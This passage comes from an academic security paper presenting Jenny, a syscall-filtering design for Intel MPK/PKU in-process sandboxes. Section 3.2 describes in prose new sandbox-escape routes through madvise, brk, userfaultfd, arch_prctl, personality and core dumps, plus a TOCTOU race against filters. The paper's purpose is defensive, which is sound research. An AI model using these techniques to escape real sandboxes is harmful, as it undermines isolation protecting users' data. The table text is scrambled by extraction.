syscall interface, which can be used to escape their sandbox.
The remainder of this section presents syscall filtering tech-
niques and and discusses PKU-based sandboxes.

2.1 Syscall Filtering
Syscall filtering can be employed to constrain a process (i.e.,
sandbox) such that access to certain syscalls and kernel re-
sources is blocked. Thus, it can also reduce the available
attack surface by limiting exposure to potential kernel bugs.

1https://github.com/IAIK/Jenny

In Linux, a number of different mechanisms can be used to
filter syscalls, which we explain in the following.
ptrace is used to inspect/manipulate a process. It allows inter-
cepting the entry and exit of each syscall of a process (tracee)
in a separate tracer process. While designed as a debug fea-
ture, it can be used for syscall filtering and sandboxing.
Seccomp-BPF. Seccomp [33] is a kernel mechanism allow-
ing an application to constrain the usable syscalls to a min-
imum. seccomp-bpf [16] adds support for Berkeley Packet
Filter rules. It can restrict (deny/allow) syscalls based on their
syscall number as well as their arguments. Installed filters
cannot be changed or removed, but it is possible to install ad-
ditional filters to further constrain syscalls. Today, seccomp-
bpf is heavily used for process-based sandboxing (e.g., in
Firefox and Chrome) [9, 38]. In case a filter rule is triggered,
seccomp-bpf can perform various actions, of which we list
the most relevant in terms of syscall interception:
SECCOMP_RET_TRACE causes the kernel to notify a ptrace-

based tracer process before executing the syscall. Thus, we de-
note this mechanism as seccomp-ptrace. Compared to ptrace,
this is faster because not all syscalls have to notify the tracer
process and the tracer-to-kernel communication overhead is
smaller due to an improved interface design. The tracer can
skip or resume the syscall and perform any ptrace actions.
SECCOMP_RET_TRAP sends a signal to the thread that trig-

gered the syscall. Instead of executing the syscall, the regis-
tered signal handler is invoked. We dub this “seccomp-trap”.
SECCOMP_RET_USER_NOTIF, added in Linux 5.0, allows

to defer decisions to a (separate) userspace program. Like
ptrace, the tracer program can inspect memory referenced in
syscall arguments using the /proc/PID/mem interface. In the
following, we refer to this method as “seccomp-user”.
Syscall User Dispatch is a new syscall emulation mechanism
that is added in latest Linux releases [60]. It is meant to im-
prove the emulation performance of Windows applications
on Linux systems. Syscalls on a certain made from a certain
memory region are executed natively. Syscalls made from
outside this region are dispatched back to a userspace signal
handler, which can emulate or filter them. This is similar to
seccomp-trap, but faster and more flexible.

2.2 Protection Keys for Userspace (PKU)
Protection keys for userspace (PKU) is a hardware mechanism
to quickly change the effective permissions of memory pages
from userspace. Page table entries (PTEs), which hold the
read/write/execute permissions of a memory page, are tagged
with so-called protection keys. A per-thread policy register
holds currently active protection keys and their associated
access permissions. On each memory access, the hardware
matches the policy register against the protection key stored
in the PTE to further constrain the access. Intel implemented
this feature on their server processors since Skylake and calls
it “Memory Protection Keys” (MPK). They use four bits
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to support 16 different protection keys. Its policy register
named PKRU is 32-bit wide and holds write- and read-disable
bits for each of the 16 protection keys. The PKRU register
can be written directly in userspace via the WRPKRU (and
XRSTOR) instructions, which allows quick permission changes
to a range of memory pages without slow kernel interaction.
For this reason, MPK has been used in the past for building
efficient in-process isolation frameworks [27, 31, 56, 61].

However, MPK was not designed as a standalone security
mechanism. Since the policy register can be written from
userspace, sandboxed code may also manipulate it (e.g., via
a code-reuse attack) and escape the sandbox. Hence, MPK
must be combined with Write-XOR-Execute (W⊕X) and
binary scanning to remove or neutralize unwanted WRPKRU and
XRSTOR instructions as well as secure WRPKRU call gates [61].
PKU Sandboxes. Notable examples of PKU sandboxes
based on Intel MPK are ERIM [61], Hodor [27], and
Donky [56]. In this work, we focus on Donky, since Jenny
builds upon its software framework. Donky [56] is a PKU
system for RISC-V and x86. It proposes ISA modifications to
forward protection key violations to an in-process monitor. By
flipping a bit in the policy register when entering and exiting
the monitor, Donky ensures that only the monitor can change
the register. Thus, no binary scanning or W⊕X is needed.
The same mechanism is used to trap syscalls to the userspace
monitor. Donky software can also be used with Intel MPK
but only in an insecure way since it does not protect the PKRU.

3 The Need for PKU-aware Syscall Filtering

Existing PKU-based sandboxes [27, 56, 61] do not safeguard
the syscall properly. They lack on various aspects such as com-
prehensive filter rules to enforce sandboxing on the syscall
interface, suitable syscall interposition techniques, expressive
filtering logic for advanced use cases, and support for signals.
After pinpointing some selected deficiencies, we formulate
four challenges addressed in this work.
Selected Deficiencies. ERIM [61] uses highly specialized fil-
ters for enforcing a W⊕X policy but misses other attacks [11]
and do not provide filters for protecting domain-owned mem-
ory. Connor et al. [11] augmented ERIM to filter dangerous
syscalls, having an unacceptable overhead of 60 % throughput
reduction for nginx due to the slow ptrace method.

Hodor [27] places various security enforcement and fil-
tering logic inside the kernel. The security risk of doing so
severely constrains application-defined syscall filters [43].

Donky [56] delegates syscalls back to a userspace moni-
tor but requires hardware modifications. On native x86_64,
Donky is not secure and can only naively deny syscalls but
not filter them in a customizable way. Donky’s basic syscall
deny filters miss advanced attacks explained in the following.

Connor et al. [11] showed various syscall attacks on PKU
sandboxes, four of which are highlighted in the following.

(i) Some syscalls allow access to arbitrary memory bypass-
ing PKRU permissions (e.g., process_vm_writev, ptrace).
Likewise, the procfs pseudo-file at /proc/self/mem allows
unrestricted memory access via file operations. (ii) Read-only
memory can change if it is mutably backed, e.g., by a writable
file. Thus, an attacker could generate insecure WRPKRU instruc-
tions by writing to a file. (iii) Untrusted domains could install
seccomp filters to emulate PKU syscalls like pkey_mprotect
and thus, disable its protection. (iv) Untrusted domains could
register signal handlers and use the sigreturn syscall to ele-
vate the PKRU to arbitrary privileges. Further, signal handlers
cannot be secured in a multi-threaded application.

To sum up, existing PKU sandboxes do not sufficiently
safeguard the syscall interface. Furthermore, none of them
supports signal handling. Several other deficiencies hinder
their adoption as well such as missing multi-threading sup-
port [61] or multiple-domain support [27, 61].
Open Challenges. This leaves several questions unanswered,
and we identify the following four open challenges:
C1 How to obtain PKU-secure syscall filter rules?

PKU sandboxes need to protect their sandboxing logic
by safeguarding syscalls appropriately, which is non-trivial.
While existing work presented some syscall-based PKU ex-
ploits, it is unclear if there exist other dangerous syscalls.

To better understand the syscall attack surface, we ana-
lyze the syscall interface of Linux and identify new PKU
attacks. Then, we define PKU-protected resources and derive
comprehensive and efficient filter rules for them. These filter
rules protect not only the sandboxing logic but also different
per-domain resources (Section 3.2–3.3).
C2 What are limitations of existing syscall interposition
techniques w.r.t. PKU sandboxes, and how to overcome them?

Any syscall filtering mechanism needs a way to interpose
on syscalls made by the code and, in case of in-process filter-
ing, delegate them to an in-process monitor. A fundamental
limitation of many interposition techniques, such as seccomp-
bpf, is the inability to distinguish PKU domains, thus creating
a recursion problem: a syscall that is intercepted and handed
over to the monitor must not be intercepted again while in-
side the monitor. Existing PKU-based sandboxes proposed
hardware extensions [56] or suggested the use of the slow
ptrace method [61] or custom kernel changes [27, 61] for en-
forcing syscall filter rules in the kernel. Obviously, the latter
is counterproductive for PKU being designed as a userspace
protection mechanism.

We analyze different syscall interposition techniques with
respect to PKU-based sandboxes. Based on their deficiencies,
we design an interposition technique that can securely and
effectively delegate filter decisions back to the user program,
denoted as “pku-user-delegate” (Section 4).
C3 Can we realize effective and comprehensive syscall fil-
tering for PKU-based sandboxes?

Recent work [11] suggests that proper syscall filters
severely impact the performance because of inefficient syscall
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interception mechanisms and filtering every open syscall. For
example, the most widely used technique seccomp-bpf cannot
inspect string arguments (e.g., file system paths).

Apart from performance considerations (C2), a decent
syscall filtering mechanism needs to offer high flexibility
in how developers can define filter rules, e.g., which data they
can access and modify. Filters need to be aware of different
PKU domains. Moreover, nesting of filter rules becomes an es-
sential requirement when PKU domains can spawn their own
child domains. Furthermore, syscall filtering should support
multithreading, i.e., have the possibility to do thread-specific
filtering and act on behalf of the filtered thread. E.g., For
ptrace to efficiently handle concurrent syscalls, one has to
spawn a new tracer thread for each tracee thread. However
support for nested filters (i.e., filter code can execute syscalls,
which in turn are filtered by their respective parents), is non-
trivial as each normal thread would additionally require new
tracer threads for each (possible) nesting level. Furthermore,
filtering thread-specific syscalls is hard, since the filter code
does not run in the original thread but in the tracer.

C4 How can we securely combine PKU-aware sandboxing
and syscall filtering with signal handling?

Signals present a number of challenges to PKU sandboxing.
Signal handlers cannot run on a PKU-protected stack, which
makes them vulnerable to privilege escalation attacks [11].
Moreover, it is unclear how to filter signal-related syscalls and
virtualize signals between multiple PKU domains, given that
signals are a process- and thread-specific resource. Finally,
various race conditions could occur from signal delivery to
program resumption (e.g., due to asynchronous signals, multi-
threading, and syscall impersonation).

Based on C1 and C2, we design the first PKU-based sand-
box supporting powerful syscall filtering, addressing the
above challenges. To fulfill C3, it allows domains to filter
their own child-domains in a stateful, domain-aware, nested,
and thread-specific manner (Section 5). Furthermore, to ad-
dress C4, we add comprehensive signal support to our PKU
sandbox and show how to secure it.

3.1 Threat model

Our threat model is in line with other PKU sandboxes [27,61].
An unprivileged user process (e.g., a web server) wants to run
untrusted code (e.g., a plugin) inside a sandbox and shield
against it. We make no assumptions on the sandboxed code
– it might contain exploitable vulnerabilities or be outright
malicious, executing arbitrary code provided by an attacker.
Our trusted computing base consists of trusted components in
the sandboxing code (e.g., a PKU monitor, startup code, and
the linker), the kernel, a tiny kernel module and the hardware.
We assume that these parts are correctly implemented and free
of exploitable vulnerabilities. We consider hardware flaws,
side-channels, and fault attacks to be out of scope. While

outside our threat model, we briefly discuss sandboxing of
privileged processes in Appendix B.

The Donky paper [56] uses a different threat model, which
requires hardware changes to protect PKU from misuse.
While we use the Donky framework as a base, we extend
it to be secure even on unmodified x86-64 CPUs. For this pur-
pose, we added ERIMs binary scanning [61] and ensured that
no unsafe WRPKRU occurrences exist in the trusted library or
in the sandboxed code. To clearly differentiate between these
threat models, we mark any filters and mechanisms relying
on the Donky-proposed hardware changes with an asterisk
“*”.

3.2 New Syscall-based PKU Attacks
Previous work [11] has shown, not all syscalls honor the PKRU
register by checking it before accessing userspace memory.

By carefully inspecting the syscall documentation, we
identified several additional previously unknown exploitable
syscalls across different resource categories (i.e., memory,
process, files). While automating such an analysis on the
syscall interface would be desirable to target completeness, it
is outside the scope of this paper.
Memory-related syscalls. The madvise syscall is typically
used to improve performance by giving the kernel additional
memory information. We found that it can also be misused
to clear memory pages, irrespective of their associated pro-
tection keys. Thus, malicious domains could erase otherwise
inaccessible memory pages from other domains. We devel-
oped exploits using the flags MADV_FREE, MADV_DONTNEED,
and MADV_WIPEONFORK, which all bypass PKU permissions.
brk,sbrk are typically used for managing heap memory,

but can be exploited, as follows. PKU systems typically al-
low domains to allocate and protect private memory. If such
memory lies in the heap area, malicious domains can use
brk,sbrk to de-allocate and re-allocate that memory. This
does not only wipe memory content but also removes any
associated protection key, bypassing the current PKRU value.

With userfaultfd, one can handle page-faults in
userspace. Surprisingly, we found that userfaultfd allows
to write arbitrary values to any PKU-protected but not-in-
memory page. When using mmap to request zero-filled mem-
ory, the kernel typically maps these pages on-demand when
a page fault occurs. However, an attacker registering a user-
faultfd handler can replace content of memory pages with
arbitrary data as soon as the victim domain accesses it the
first time. When combined with madvise, one could even
overwrite previously non-empty pages.
Process-related syscalls. (v)fork,clone create a process
copy that can (optionally) run in the same address space (i.e.,
threads). Since not all resources are preserved, this can lead to
synchronization issues and undefined behavior. Most notably,
other threads, locks, timers, signals, and some memory areas
(e.g., madvise(MADV_DONTFORK)) are not preserved.
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exec-like syscalls are incompatible with in-process sand-
boxing since they replace the currently running program. In-
process monitors are not preserved by default. However, some
kernel-based restrictions remain active (e.g., seccomp filters).
arch_prctl and set_thread_area can be used to re-map

the thread-local storage. Donky [56] relies on thread-local
storage for trusted metadata. It further assumes that an isolated
domain cannot alter the location of the thread-local storage
(i.e., the fs/gs registers). Using these syscalls, an attacker can
escape its sandbox. Hodor, on the other hand is secure against
this attack since it does not rely on any registers. Instead they
describe a gettid-like call to look up thread-specific data.

Other syscalls can affect the entire process and the behavior
of future syscalls. E.g., personality(READ_IMPLIES_EXEC)
makes all future readable mapped memory also executable.
Thus, arbitrary WRPKRU instructions can be injected and exe-
cuted, which bypass the PKU sandbox.
File-related syscalls operating on file paths and file descrip-
tors can directly compromise PKU sandboxes (cf. Section 3).

We found that core dumps present a serious information
leakage vulnerability for PKU sandboxes. They are usually
created during a program crash and contain the recorded state
of the whole program’s memory and register state before the
crash. An untrusted domain could trigger the creation of a core
dump via the kill syscall, or by accessing invalid memory.
When the program is later restarted, the untrusted domain can
open the core dump file and read any previously protected
memory of other domains. An attacker could combine this
vulnerability with fork: By crashing the child process, they
can immediately read the core dump in the parent program.

3.3 Securing PKU with Syscall Filters
A secure PKU system must protect monitor and domain re-
sources from unauthorized access. In the following, we out-
line these resources, and define filter rules to protect them.

We define monitor resources as anything that affects its
security. This covers the monitor code and data to manage do-
mains and threads, including parts of the thread-local storage.
the protection keys used to protect the monitor code and data,
as well as the policy register (i.e., PKRU), and process-wide
resources (e.g., signal handlers). Similarly, domain resources
consist of any domain-owned memory, their protection keys,
any created child-domains, and registered signal handlers and
syscall filters. A PKU sandbox must protect these resources
by fulfilling the following requirements:

Monitor code and data must be protected from unautho-
rized access on three layers: First, in memory (e.g., by pro-
tecting it with protection keys); Second, its memory mapping
(i.e., rwx permissions and protection keys); and third, on disk,
if the mapping is file-backed (cf. [11]). Notably, this also
includes any aliasing (e.g., shared memory or symlinks).

In addition, the PKRU policy register must be protected with
secure call gates, either via hardware modifications as pro-

posed in [56], or by ensuring no unsafe WRPKRU (and XRSTOR)
instructions exist in executable memory [27, 61]. The latter
must be protected on all three layers again: First, in memory
by scanning it for unsafe instructions before marking it exe-
cutable. Second, the memory mapping must enforce W⊕X,
also for shared memory. And third, if the memory is backed
by a file, W⊕X must be enforced there as well.
Syscall Filter Rules for PKU Sandboxes. We design two
sets of syscall filter rules to enforce the above requirements: i)
base-mpk for current x86-64 CPUs and ii) base-donky* which
is only secure with Donky’s proposed hardware changes [56].
base-mpk. Donky already protects domain code and data
on the first two layers. We additionally define syscall fil-
ters for mmap(2), (pkey_)mprotect, mremap, munmap,
madvise and forward them to the monitor. To protect the third
layer, we intercept mmap, mprotect and disallow shared exe-
cutable mappings, since the in-process monitor cannot prevent
other processes from modifying it (cf. [11]). Additionally, we
ensure that executable memory is not backed by a writable
file. For this we have three options. 1) disallow the mapping if
the user can modify the file (either the content or its filesystem
permissions). 2) remove the write-permissions from the file
and optionally copy the file beforehand to avoid unnecessary
changes to the system. Note, these two options requires trac-
ing syscalls that can change file permissions (e.g., chmod). or
3) read the file into memory using mmap(MAP_ANON). For
Jenny, we use the first option. To solve issues with core
dumps and the procfs (cf. Section 3.2), we make use of an
existing kernel feature, namely prctl(PR_SET_DUMPABLE,
SUID_DUMP_DISABLE), which disables core dumps and ac-
cess to the procfs. Hence, we do not need to filter any file or
path-based syscalls suggested by [11], allowing more efficient
filtering.

We protect the policy register by scanning the memory
for unsafe instructions when executable mappings are cre-
ated or changed (mmap, mremap, mprotect). For this, we
use ERIM’s binary scanner [61] and check for common pit-
falls [11]. We enforce Write-XOR-Execute both on the mem-
ory mapping as well as any aliases (see above). Similar to
memory-related syscalls, we safeguard memory protection
keys by also intercepting pkey_alloc and pkey_free.

Finally, we protect process-wide resources by filter-
ing fork, clone, signal, sigaltstack, sigreturn,
sigaction and their relatives. We also deny syscalls that
can modify the behvaiour of the entire process, and thus com-
promise the sandbox 2.
base-donky* shares the same filters as base-mpk, except that
it does not generally enforce W⊕X. Instead we only protect
the monitor code (and its file-backing) from modifications.

2remap_file_pages, process_vm_readv, process_vm_writev,
ptrace, seccomp, shmat, shmdt, execve(at), personality,
userfaultfd, add_key, request_key, keyctl, (arch_)prctl,
set_thread_area, set_tid_address, umask, setpgid, setsid,
modify_ldt, _sysctl, unshare, rseq
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Table 1: Comparison of Syscall Filtering Mechanisms
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PKRU-aware delegation n.a. — — Ë — Ë Ë Ë
Intercept pre-syscall Ë Ë Ë Ë Ë Ë Ë Ë
Allow syscall Ë — — Ë Ë Ë Ë Ë

D
el
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e

Intercept post-syscall — n.a. n.a. Ë Ë Ë Ë Ë
Read syscall arguments Ë Ë Ë Ë Ë Ë Ë Ë
Write syscall arguments — n.a. n.a. Ë Ë Ë Ë Ë
Read/Write any memory — Ë Ë Ë Ë Ë Ë Ë
Read/Write PKRU register — — Ë Ë Ë Ë Ë Ë
Read/Write other registers — — Ë Ë Ë Ë Ë Ë
Manipulate syscall return value Ë Ë Ë Ë Ë Ë Ë Ë

E
m
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at

e

Perform arbitrary syscalls — — — Ë Ë Ë Ë Ë
Impersonate (threading) syscalls — — Ë Ë Ë Ë Ë Ë
Kernel context switches on deny 1 2 2 4+ 2 0 0 1

Apart from this, domains can still map writeable and exe-
cutable memory. Note, however, that this filterset requires the
hardware modifications proposed in Donky [56] to protect the
PKRU register, since we do not employ binary scanning here.
Extended Domain-aware Filter Rules. Domains may also
use other resources such as sensitive files (e.g., databases or
private keys), which should be shielded from other domains.
To protect them, we safeguard file descriptors and file-system
accesses for each domain, as explained in the following.

Based on base-mpk, we define a so-called localstorage
filter set, where we additionally filter any path-based and
file-descriptor-based syscall. We create a so-called local
storage directory for each domain and constrain path-based
syscalls to only access a domain’s own local storage.
We transparently modify all path-arguments in syscalls
to point to this directory. E.g., /tmp/file is translated
to /tmp/localstorage[PID]/[domain id]/tmp/file.
When a domain invokes a syscall that creates a file-descriptor,
we assign that domain as the owner. We filter syscalls such
that domains can only use file-descriptors that they have
access to. We used strace’s [58] annotation of syscalls
to automatically find all file-related syscalls. We discuss
possible compatibility issues in Section 7.

4 Syscall Filtering Mechanisms

Traditionally, syscall filtering is used for debugging, emula-
tion, malware inspection, or process isolation. Hence, existing
syscall filtering mechanisms are either not usable as a security
mechanism or not designed for in-process isolation via PKU.

In this section, we first outline requirements for comprehen-
sive PKU-aware syscall filtering. We analyze various syscall
filtering mechanisms w.r.t. these requirements and detail their

limitations. Finally, we design pku-user-delegate, a better
mechanism suitable for PKU sandboxing on x86-64 systems.
Our minimal kernel module is both, fast and secure, by shift-
ing all filter decisions to the userspace monitor, which avoids
unnecessary code complexity (i.e., potential for vulnerabili-
ties) in the kernel.
Requirements Analysis. A comprehensive syscall filtering
mechanism for PKU sandboxes shall meet four requirements,
namely delegation, emulation, impersonation, and nesting.

Delegation allows syscalls to be filtered in userspace, e.g.,
by a in-process monitor, instead of the kernel. Thus, the user-
provided filter code is never executed in the kernel, reducing
kernel complexity and attack surface [43]. A filter shall be
able to resume (i.e., allow) the delegated syscall. Furthermore,
delegation needs to be PKRU-aware such that trusted domains
can issue syscalls without being (re)intercepted.

Emulation denotes the expressiveness of the filtering logic.
E.g., seccomp-bpf filters are highly constrained and cannot
perform deep argument inspection of strings provided to path-
based syscalls. Ideally, filters can emulate arbitrary behavior,
for which they need read and write access to the CPU registers
and to application memory. This also includes the possibility
to perform arbitrary syscalls in the filter context.

Impersonation enables filter code to perform syscalls on
behalf of the filtered domain, which is needed for two reasons:
First, we anticipate to fully delegate syscalls into userspace. If
filters want to allow a particular syscall, they need to reissue
it themselves. Since the kernel adheres to PKU permissions
on the syscall arguments, the PKRU register needs to be imper-
sonated to hold the filtered domain’s protection keys. Second,
a filter might want to execute additional syscalls other than
the intercepted one in place of the filtered domain.

Moreover, impersonation should happen on the same thread
as the filtered syscall to avoid issues with thread-specific
syscalls (e.g., scheduling, locking, thread-local storage).

Nesting allows hierarchical syscall filtering, where each
domain can filter their child domains in a nested way. E.g., a
third-party module that is syscall-filtered by the application
can further constrain the syscall interface for its own libraries.
This helps to enforce the principle of least privilege. Nesting
combines all previous requirements, from delegation over
emulation to impersonation.

Performance of syscall filtering strongly depends on the
number of context switches to the kernel. Since not all investi-
gated filtering mechanisms can allow a syscall, we investigate
the context switches for denying a syscall.

4.1 Comparison
Table 1 shows our comparative study of the syscall filtering
mechanisms we analyzed.
Performance. seccomp-bpf filters run entirely in the kernel.
seccomp-user, seccomp-trap and Syscall User Dispatch for-
ward the decision making to userspace, for which a second
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kernel context switch is required when exiting the filter. ptrace
requires additional syscalls for reading and writing registers.
RISC-V User-Interrupts [56] and libc-indirect* require no
kernel invocation but rely on custom hardware extensions.
Our pku-user-delegate comes with a single kernel invocation.
seccomp-bpf filters run entirely in the kernel. Thus, syscall
emulation is severely constrained. Filters only inspect register
arguments and the syscall number but cannot access arbitrary
memory or dereference pointers needed for deep argument
inspection [17]. Newer syscalls (e.g., clone3, openat2) use
structs for extensibility. This makes it impossible to filter these
syscalls comprehensively. So-called extended BPF (eBPF)
could solve this issue, providing filters with a state that is
shared with the userspace and allowing dereferencing point-
ers. However, it is unlikely that eBPF will be soon used for
seccomp [12]. Moreover, they cannot access the PKRU register
needed for PKU awareness. Finally, filters cannot be relaxed
but only constrained further by chaining additional filters.
seccomp-user delegates syscalls to a separate userspace
thread/process with no option to securely allow the syscall [6].
Thus, the filter must emulate all intercepted syscalls manu-
ally on a different thread, which is problematic. For example,
thread-specific syscalls cannot be easily emulated from an-
other thread. Moreover, filters cannot read or change the CPU
register state of the intercepted syscall. The inability to access
the PKRU register hinders distinguishing PKU domains.
seccomp-trap delegates syscalls to userspace via signals.
However, signal handlers need to be secured against privi-
lege elevation attacks [11] by using our protection of signal
stacks (cf. Section 5.6). seccomp-trap cannot allow or issue
intercepted syscalls but needs to emulate them since the dele-
gation logic (implemented in seccomp-bpf) is PKU-unaware.
ptrace runs before and after a syscall and is by far the slowest
technique. However, unlike seccomp variants, it supports all
features for PKU-based syscall filtering. In particular, it can
divert the syscall directly to our monitor. By combining ptrace
with seccomp [11, 27, 61], one can increase performance and
only interpose those syscalls for which seccomp filter rules
do not suffice (e.g., deep argument inspection or emulation).
Syscall User Dispatch lets syscalls within a certain dis-
patcher region unfiltered, which is deemed insecure: An un-
trusted domain could simply jump to a syscall instruction
within this region to bypass syscall filtering [60]. We cannot
use PKU to protect the dispatcher region from misuse, since
PKU does not limit code fetches. However, Syscall User Dis-
patch alternatively allows to define a userspace variable (e.g.,
a monitor-mode flag) that decides whether syscalls are filtered
or not. The monitor flips this flag when entering or exiting
and protects it by means of a read-only protection key.

Unfortunately, Syscall User Dispatch is incompatible with
handling signals, since the proposed monitor flag cannot be
atomically flipped upon signal return.3 Independently, Syscall

3The relevant rt_sigreturn syscall is issued inside the monitor but re-
sumes outside of it. We can neither flip the flag before or after rt_sigreturn.

User Dispatch itself makes use of (unsafe) signals to dispatch
syscalls, for which it requires additional safeguards, as dis-
cussed for seccomp-trap.
RISC-V User-Interrupts and libc-indirect*. The modified
RISC-V hardware of Donky [56] allow to interpose syscalls
without kernel interaction. To approximate its performance
on x86-64, we implement a method named “libc-indirect*”.
We modify the libc such that all syscall invocations are
delegated to the monitor unless we are already in the monitor.
For existing x86-64 CPUs, this method is not secure on its
own, since a domain can also execute uninstrumented syscall
instructions, thus bypassing our libc delegation.

4.2 PKU-suitable Syscall Interposition

Given our analysis, only a few mechanisms support compre-
hensive PKU sandboxing, namely seccomp-ptrace and Donky
RISC-V user-interrupts [56]. Unfortunately, seccomp-ptrace
is too slow in practice, Syscall User Dispatch uses insecure
signals, and user-interrupts are not supported by x86-64.
pku-user-delegate is a simple yet powerful syscall interposi-
tion technique we devise to overcome these limitations and
support native x86-64. In its core, we delegate syscalls back
to userspace similar to “Syscall User Dispatch”. However, by
avoiding signals we only require a single kernel invocation.

We implement our technique in a loadable kernel module
(LKM) that only intercepts syscalls registered by the PKU
monitor. We set a bit in the thread_info struct to selectively
intercept protected threads, while ignoring other threads and
processes. It furthermore checks if the thread is currently in
the monitor by reading the PKRU register. Monitor syscalls are
directly allowed, while others are delegated to our userspace
by rewriting the program counter to point to the PKU mon-
itor’s syscall handler and storing the return address in the
RCX register. Thus, pku-user-delegate closely mimicks the
syscall instruction. Afterward, the monitor continues in the
previous domain without invoking another switch to the ker-
nel. In total, our module has 319 LoC.

Prior work also relied on kernel code, however, for a differ-
ent purpose. ERIM [61] used a kernel module for enforcing
W⊕X. Hodor [27] modified the kernel to enforce essential
parts of their protection logic. Donky [56] used a kernel mod-
ule for denying memory-related syscalls but not delegating
them to userspace.

In contrast, pku-user-delegate delegates syscalls back to
userspace for making all decisions in the monitor. Shifting
complex filtering logic to the userspace has two main advan-
tages: First, it reduces the kernel’s attack surface by mini-
mizing (interpreted) code in the kernel. E.g., BPF has had
dozens of vulnerabilities that lead to kernel privilege escala-
tion [43–46, 48, 49]. Second, the filter code is not constrained
by BPF’s limited instruction set and they can access (read-
only) domain-metadata, which allows domain-aware filtering.
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Third, the filter rules can be extended without requiring kernel
changes. E.g., new struct-based syscalls can be easily filtered.

5 Jenny: Secure and Efficient Syscall Filtering
for PKU Systems

In this section, we design Jenny– the first comprehensive
PKU-based isolation system that supports secure and effi-
cient syscall filtering, signal handling, and multi-domain PKU
call gates. Jenny extends the open-source PKU framework
Donky [56] with the necessary logic for registering and invok-
ing syscall filters and signal handlers. Furthermore, our filters
are not only PKU-domain-aware but also allow hierarchical
syscall filtering across domains. That is, parent domains can
hook arbitrary syscalls of their child domains with arbitrary
nesting levels. Moreover, syscall filters can “impersonate”
their filtered domains, that is, issue syscalls on their behalf.
Jenny offers a generic programming interface for user-defined
syscall filters, supporting different filtering mechanisms (cf.
Section 2.1), of which we implement suitable ones.

To work with native x86-64 CPUs, we incorporate W⊕X,
binary scanning, and secure call gates [27, 61] that can deal
with multiple PKU domains. Finally, we give a security argu-
mentation and design PKU-secure signal handling.

5.1 Design
To protect the PKU system, the base filters (base-mpk or base-
donky*) always run in the monitor. Additionally, domains
can register their own filters for their child-domains. Each
filter can define code to be run before (“enter-filter”) and after
(“exit-filter”) a syscall. As shown in Figure 2 filters can be
nested, allowing parent domains to filter syscalls of their chil-
dren. The filters can contain arbitrary code and make syscalls
themselves, which might be filtered by their respective par-
ent domains. A simple example is given in Appendix C. We
also provide facilities for so-called “impersonation” such that
the filters can issue syscalls on behalf of the filtered child
domain. Before doing the actual impersonated syscall inside
the monitor, we switch to the PKRU value of the child.

Figure 1 shows syscall filtering for three domains: the mon-
itor (green), the “parent” domain (blue), and the “child” do-
main. The child domain issues a syscall instruction (1), which
is then trapped to the monitor. The monitor saves the user-
stack and checks for installed syscall filters, beginning with
the currently active domain over the parent tomain until we
reach the monitor domain. A filter might be set to allow or
deny or point to an filter function for emulating the syscall. If
a filter function exists, we switch to the filter domain (2). The
enter filter can inspect and manipulate the syscall arguments
before re-issuing (impersonating) the syscall (3). From there,
the same procedure repeats, but now for the parent-domain
instead of the child. When a parent-domain has no parent
itself, the monitor runs its own filters to protect all domains.
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curr_domain
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Figure 1: Overview of our syscall interception design
with nested filtering. The child-domain is marked in or-
ange, the filter domain in blue, and the monitor in green.

Monitor Root Domain Parent Domain Child Domain

syscall
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Enter

Enter
Do syscall
Exit

Exit
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Figure 2: With nested filtering, domains can recursively
filter their children with syscall enter and exit filters.

Monitor-issued syscalls are not intercepted again. After a
syscall (4), the exit-filter can inspect and manipulate the re-
turn value before returning (5). Finally, the monitor resumes
the original child domain after the syscall instruction (6).
Impersonation. The parent-registered filter runs with (PKRU)
permissions of this parent domain. The filter can, using its
higher privileges, issue syscalls on its own, e.g., to communi-
cate with a device the child domain does not have access to.
However, it can also impersonate the child, i.e., issue syscalls
on behalf of its child-domain to use the lower-privilege child
permissions in the kernel during the syscall. Before dispatch-
ing the syscall to the operating system, the monitor sets the
PKRU to the desired value. Of course, any (impersonated)
syscall within the filter is also subject to interposition.

5.2 Same-Thread Nested Filtering

Achieving nested syscall filtering is not trivial since a syscall
filter needs to be interruptible by another parent syscall filter,
demanding reentrant-safety for the monitor. The key ingredi-
ent for successful nesting is same-thread filtering, meaning
that the filter code runs on the same thread as the filtered
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syscall. This limits the applicability of certain interposition
techniques, as we show in the following.
seccomp-user delivers intercepted syscalls to a separate
tracer thread. Since it does not provide secure means to con-
tinue or alter the original syscall, one has to run any filter code
in the tracer. However, the tracer itself cannot be easily traced
again, thus, prohibiting our nested-filtering approach.
seccomp-ptrace. We use seccomp-bpf in order to only trace
the syscalls of interest. Furthermore, we do not execute any
filter code inside the tracer but delegate the syscall back to the
tracee thread similar to pku-user-delegate: The tracer emulates
the syscall instruction by replacing the instruction pointer
to trap into the monitor and storing the return address in the
RCX register. If the tracee is already in the monitor domain (as
indicated by the PKRU register), the syscall is allowed.
pku-user-delegate follows the same delegation approach but
is simpler and faster by avoiding a separate tracer thread.

5.3 Secure Filter Design

Designing secure syscall filters is challenging [20] due to
untrusted syscall arguments, which requires proper locking.
Untrusted Arguments. A well-known problem of syscall
filtering is that syscall arguments might change during the
filtering, creating TOCTOU issues. For example, assume that
the open("/tmp/benign") syscall is filtered to check its
path argument against an allow list. Two colluding threads
could circumvent this check, as follows. While the first thread
is issuing a benign open call, the second thread is manipulat-
ing the path argument in memory to point to a different file –
right after the check has happened.

To solve this problem, our monitor copies sensitive pointer
arguments used for filter decisions such as buffers or strings to
a per-thread “sysargs” memory before invoking an enter-filter.
The same applies to return buffers filled by the kernel, which
are copied back from the sysargs memory inside the exit-filter.
We protect this memory using a separate per-thread sysargs
protection key to prevent attacks from colluding threads. We
defer a discussion on potential optimizations to Section 7.

The monitor has full PKRU permissions. Hence, before copy-
ing untrusted syscall arguments, the monitor needs to check
whether the filtered domain itself has permission to access
this memory. This avoids so-called Boomerang attacks [35].
Locking. Syscall filters might use internal data structures,
e.g., for holding a domain’s open file descriptors. For multi-
threaded programs, these data structures need to be locked
while avoiding deadlocks: First, each data structure must only
be locked and accessed by a single domain (e.g., the root
domain). Second, to avoid deadlocks through recursion, the
filter code itself must not perform any explicit domain switch,
particularly not towards the child domain it filters.

5.4 Secure Multi-domain Call Gates

Call gates are secure entry points into a PKU domain and
perform the PKRU switch, e.g., via the WRPKRU instruction. To
prevent malicious code from reusing this WRPKRU instruction
with an illegitimate value, ERIM and Hodor double-check the
value after the WRPKRU instruction, as shown in Figure 3 left.

Unfortunately, their call gate only supports a static PKRU
configuration (cf. $PKRUVALUE in Figure 3). Thus, call gates
for all potential PKRUVALUEs need to be compiled in advance.
Using dynamic PKRU values from memory seems infeasible at
first since this memory needs to be accessible to the untrusted
